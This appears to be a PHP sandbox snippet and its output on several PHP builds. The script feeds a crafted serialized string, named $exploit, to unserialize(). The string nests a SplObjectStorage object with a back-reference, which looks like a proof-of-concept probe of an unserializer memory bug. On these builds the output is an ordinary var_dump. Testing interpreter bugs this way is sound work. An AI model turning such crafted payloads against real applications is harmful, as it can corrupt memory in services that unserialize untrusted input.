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<?php $inner = 'x:i:1;O:8:"stdClass":0:{};m:a:0:{}'; $exploit = 'a:2:{i:0;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:1;R:3;}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($data);
Output for git.master, git.master_jit, rfc.property-hooks
array(2) { [0]=> object(SplObjectStorage)#1 (1) { ["storage":"SplObjectStorage":private]=> array(1) { [0]=> array(2) { ["obj"]=> object(stdClass)#2 (0) { } ["inf"]=> NULL } } } [1]=> int(1) }

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